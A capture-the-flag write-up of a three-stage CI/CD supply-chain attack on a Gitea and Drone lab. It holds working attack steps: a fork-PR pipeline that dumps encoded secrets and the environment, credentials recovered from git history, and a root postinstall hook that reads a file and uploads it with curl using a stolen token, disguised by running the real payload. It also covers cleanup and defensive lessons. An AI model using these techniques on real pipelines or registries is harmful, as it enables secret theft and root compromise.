The Three Ways

Event
BrunnerCTF 2026
Category
boot2root
Published
Tags
#supply-chain #ci-cd #gitea #drone #secrets

A three-stage supply chain compromise. A fork PR reaches Drone's exec runner, CI secrets fall out of the build log past a redaction filter, and the last flag sits in a superseded package version that the registry still serves.

boot2root9 min read

On this page

Flags:

StageFlag
Flowbrunner{4ch13v3_4bs0lut3_fl0w_st4t3}
Feedbackbrunner{n0_s3cr3t5_4r3_t00_s3cr3t_f0r_u}
Continual Learningbrunner{w4k3_up_n3w_supply_ch41n_4tt4ck_ju5t_dr0pp3d}
Gitea 1.21.6   gitea-the-three-ways-flow-bd58ba9d55264fd5-global.challs.brunnerne.xyz
Drone 2.25.0   drone-the-three-ways-flow-bd58ba9d55264fd5-global.challs.brunnerne.xyz

One shared instance backs all three stages. The name comes from the DevOps Three Ways (Flow, Feedback, and Continual Learning). Each stage abuses the corresponding practice: fast pipelines, open feedback loops, or autonomous delivery.

brunner_admin  (1)              brunner_admin/hello-drone   public,  2 open PRs, NO secrets
brunner_dev    (2)  dev_go_brr  brunner_dev/hello-drone      fork
brunner_ops    (3)              brunner_ops/ci-bootstrap     public,  leaks a credential
brunner_ci     (4)              brunner_ops/deploy-tools     private, holds registry_token
brunner_svc    (5)  ← hidden    brunner_ops/internal-deploy  never accessible (red herring)
brunner_registry (6) private org

1. Stage 1: Flow

Given: brunner_dev:dev_go_brr. Drone’s exec runner builds fork PRs without an approval gate, and type: exec means host execution without container isolation. Fork the repository with a .drone.yml, replace the pipeline with cat /home/drone/flag.txt, open a PR, and read the build log.

brunner{4ch13v3_4bs0lut3_fl0w_st4t3}

This primitive, where an attacker-controlled .drone.yml executes on the runner host, drives stages 1 and 2. Stage 2 targets a secret. Stage 3 runs somewhere else entirely, on the rollout agent, driven by the publish token stage 2 yields rather than by any .drone.yml.


2. Stage 2: Feedback

Every pull request runs our verification pipeline, because we believe great ideas can come from anywhere, even outside the team. Especially outside the team. […] our secrets are handled to industry-adjacent standards and our logs are redacted.

2.1 The credential in the history

brunner_ops/ci-bootstrap is public and has two commits:

bca140ecb774  read the ci password from the environment   ← HEAD
57b2089b4f51  add bootstrap scripts

The HEAD commit message shows that the parent commit contains the credential. git show 57b2089:bootstrap.sh shows:

GITEA_USER=brunner_ci
GITEA_PASSWORD=9d41c07be5a8426fa3c15b2e70f8d63a
REPOS="brunner_admin/hello-drone brunner_ops/deploy-tools brunner_ops/internal-deploy"

Deleting a secret in a later commit leaves the previous blob reachable. The REPOS list also names two private repositories.

2.2 The trap

brunner_admin/hello-drone is public and has two open PRs left from prior exploitation attempts. PR 1 tries to clone the private repositories from the CI environment. PR 2 declares FEEDBACK_SECRET, DEPLOY_KEY, and GITEA_TOKEN, then prints them using hex, rev, base64, and character-by-character formatting.

These returned no secrets. Drone logs show why:

brunner_admin/hello-drone   secrets: []          ← nothing to leak, ever
brunner_ops/deploy-tools    secrets: 404 (not repo admin), ignore_forks: False, 0 builds

Gotcha: The visible, broken PRs are a distraction. The hello-drone repository contains no secrets. Querying /api/repos/{slug}/secrets first checks if the target repository has secrets before writing exfiltration payloads.

The real target is brunner_ops/deploy-tools. Its .drone.yml declares:

  - name: verify-release
    environment:
      REGISTRY_TOKEN:
        from_secret: registry_token

The second obstacle is that brunner_dev gets a 404 on deploy-tools. Only brunner_ci, the account with the credential from the git history, can access it. This matches the session that produced the deploy-tools row in the repository table above. The repository README states that read-only members can open pull requests.

The fork must come from brunner_ci, not brunner_dev. Credentials from the first stage do not apply.

2.3 Redaction bypass

Fork deploy-tools as brunner_ci, commit a .drone.yml configuration that outputs the secret, and open a PR upstream. Drone builds refs/pull/1/head and merges the PR configuration, running the custom pipeline.

      - 'printf %s "$REGISTRY_TOKEN" | wc -c'
      - 'printf %s "$REGISTRY_TOKEN" | base64 | tr -d "\n"; echo'
      - 'printf %s "$REGISTRY_TOKEN" | rev'
      - 'printf %s "$REGISTRY_TOKEN" | sed "s/./& /g"'
      - 'printf %s "$REGISTRY_TOKEN" | od -An -tx1 | tr -d " \n"; echo'
      - 'cat /etc/platform/registry.conf'
      - 'env | base64 | tr -d "\n"; echo'

All encodings and the raw environment dump succeeded:

===LEN===    40
===B64===    MDIwMTEyYzkzZjc0ZTIzYWJjOTBjOWJhODZlM2MwOGU3NzU2NDQyMg==
===REV===    22446577e80c3e68ab9c09cba32e47f39c211020
===HEX===    30323031...343232
REGISTRY_TOKEN=020112c93f74e23abc90c9ba86e3c08e77564422   ← decoded locally from ===ENV_B64===

Gotcha: every step here encodes the token before printing it, so nothing in the build log ever shows it in the clear. The env step emits a single base64 blob under ===ENV_B64===, decoded locally afterwards. The redundant encodings were a precaution against masking behaviour that was unknown at the time; whether Drone would have masked a plaintext token was never actually tested.

The /etc/platform/registry.conf file was also readable:

REGISTRY_URL=.../api/packages/brunner_registry/generic
REGISTRY_ORG=brunner_registry
REGISTRY_PACKAGE=rollout-bundle
ROLLOUT_LOG=/var/log/rollout/agent.log      ← first sign of stage 3's agent

2.4 The flag is in an old package version

Authenticating to the Gitea API with the token and calling /api/v1/user shows the owner is brunner_svc (id 5), a user that /api/v1/users/search does not return. The token lists the organizations and packages it can reach. The supplied scripts do not cover this, as they stop at exfiltrating the token. brunner_svc belongs to the private brunner_registry organization and publishes one generic package:

rollout-bundle  1.4.0  1.4.2  1.5.0

1.4.2/bundle/config/deploy.env contains:

REGISTRY_USER=brunner_svc
REGISTRY_PUBLISH_TOKEN="d855102401fd9a7c55cc97bed2f31707f2f93b50"
ROTATION_CODE="brunner{n0_s3cr3t5_4r3_t00_s3cr3t_f0r_u}"

Gotcha: The deploy.env file in version 1.5.0 is empty. The newer release cleared the credential, but it remains in the older, published version. Fetching only the newest version misses the flag and the publish token.


3. Stage 3: Continual Learning

Our rollout agent installs the latest and greatest across the entire fleet, all by itself, no humans required. […] it runs with the utmost privilege, because we believe in it. Some colleagues asked about signing artifacts. We’ve added that to the backlog.

The configuration details were readable in deploy-tools.

Version selection in bundle.py:

def parse_version(version):
    return [int(chunk) if chunk.isdigit() else -1 for chunk in version.split(".")]
def newest(versions):
    return max(versions, key=parse_version, default=None)

The agent uses max() without pinning or an allowlist, meaning version 9.9.9 overrides older packages.

Integrity check in verify-release.sh:

tar -xzf "$WORK/$REGISTRY_PACKAGE-$VERSION.tar.gz" -C "$WORK"
( cd "$WORK/bundle" && sha256sum -c SHA256SUMS )

The agent verifies file integrity using a SHA256SUMS file inside the user-controlled archive instead of verifying authenticity. The package lacks signatures or validation.

Execution: manifest.json names hooks/postinstall, which the agent runs as root.

3.1 The bundle

The archive must match make-bundle.sh formatting so the checksum verification succeeds: ./-relative paths, sorted by path, SHA256SUMS excluding itself, and tarred with the bundle/ prefix. Note the rm and the mv: you must generate the sums outside bundle/ and move them in afterwards, or SHA256SUMS ends up listing itself and verification fails.

rm -f "$WORK/bundle/SHA256SUMS"
( cd "$WORK/bundle" && find . -type f -exec sha256sum {} \; | sort -k2 ) > "$WORK/SHA256SUMS"
mv "$WORK/SHA256SUMS" "$WORK/bundle/SHA256SUMS"

tar -czf "$WORK/rollout-bundle-$VERSION.tar.gz" -C "$WORK" bundle

The postinstall script reads the flag and exfiltrates it to the registry using the publish token from stage 2:

#!/bin/sh
# no 'set -e': a failed exfil must not abort the install before rollout.sh
TOK="020112c93f74e23abc90c9ba86e3c08e77564422"
BASE="$G/api/packages/brunner_registry/generic/diag"
{
  echo "=== id ==="              ; id
  echo "=== hostname ==="        ; hostname
  echo "=== /root/flag.txt ===" ; cat /root/flag.txt
  echo "=== /root listing ==="   ; ls -la /root
} > /tmp/loot.txt 2>&1
curl -s -H "Authorization: token $TOK" --upload-file /tmp/loot.txt \
     "$BASE/9.9.9/loot-$(date +%s).txt"
sh payload/rollout.sh || true      # preserve legitimate behaviour
exit 0

Notes:

  • Do not use set -e. The original hook uses it, but failed exfiltration should not stop the installation before rollout.sh runs.
  • The hook must execute the real payload to avoid triggering an investigation.
  • Gitea generic packages return 409 when re-uploading an existing filename, so timestamping prevents silent failures on repeated runs.

Publish the package, confirm that newest() changes, and wait for the agent:

[HTTP 201]   versions: ['9.9.9','1.4.2','1.5.0','1.4.0']   newest() -> 9.9.9
=== id ===
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
=== hostname ===
d-the-three-ways-flow-bd58ba9d55264fd5-global-854db64455-l5ksv
=== /root/flag.txt ===
brunner{w4k3_up_n3w_supply_ch41n_4tt4ck_ju5t_dr0pp3d}

The agent’s hostname (d-...-854db64455-l5ksv) does not match the pod naming seen in the earlier stages. I never captured the runner’s own hostname, so this is suggestive rather than proof that the two sit on different hosts. Either way the package archive is the only component crossing that boundary, which is why signing it would matter.


4. The chain

public git history        ci-bootstrap@57b2089  ->  brunner_ci password
read-only + open PRs      fork deploy-tools     ->  attacker-controlled .drone.yml
exec runner, no approval  PR build              ->  REGISTRY_TOKEN (brunner_svc)
unpruned old version      rollout-bundle 1.4.2  ->  Feedback flag + REGISTRY_PUBLISH_TOKEN
max() + self-signed sums  publish 9.9.9         ->  postinstall as root  ->  /root/flag.txt

While each configuration is defensible individually, combining them creates the vulnerability. Read-only permissions fail when members can open pull requests that execute on the runner. Removing a secret from active configurations does nothing if the old revision remains fetchable. A checksum ensures integrity but does not verify authenticity.

Two patterns repeat: failing to purge old secrets (in git history and package versions) and trusting user-supplied checksums. Recognizing the first pattern made the second easier to spot.


5. Cleanup

Verified by querying the API:

ActionVerified
rollout-bundle 9.9.9 deletedtarball fetch → 404
diag package (0.0.1, 9.9.9) deleteddiag absent from package list
PR #1 on deploy-tools closedstate=closed, open PRs = 0
Fork brunner_ci/deploy-tools deletedAPI → 404
Registry restored3 packages, newest() -> 1.5.0

6. Takeaways

  • A CI system that builds pull requests from forks is executing attacker code by design. The only questions are what that code can reach and what it is handed on the way in.
  • ignore_forks: False on a repo with secrets is the whole bug in stage 2. Drone withholds secrets from fork builds by default; this repo had opted out.
  • Checksums inside an archive prove integrity, not authenticity. SHA256SUMS shipping in the same tarball it describes means anyone who can publish a package can publish a self-consistent one.
  • A version comparison built on max() over dotted integers has no floor. Publishing 9.9.9 wins permanently, and the rollout agent installs it as root.
  • Three separate credentials, each only reachable using the previous one, form a chain rather than a single flaw. Fixing any single link stops the exploit.

Files

  • exfil_drone.py: stage 2 to commit the exfil .drone.yml to a pre-existing fork and open the PR. The script does not create the fork; fork brunner_ops/deploy-tools as brunner_ci first, or the initial contents fetch fails with KeyError: 'sha'
  • drone_client.py: Gitea-Drone OAuth session and build/log dumper
  • build_bundle.sh: stage 3 to build the malicious rollout-bundle and publish it
  • flags.txt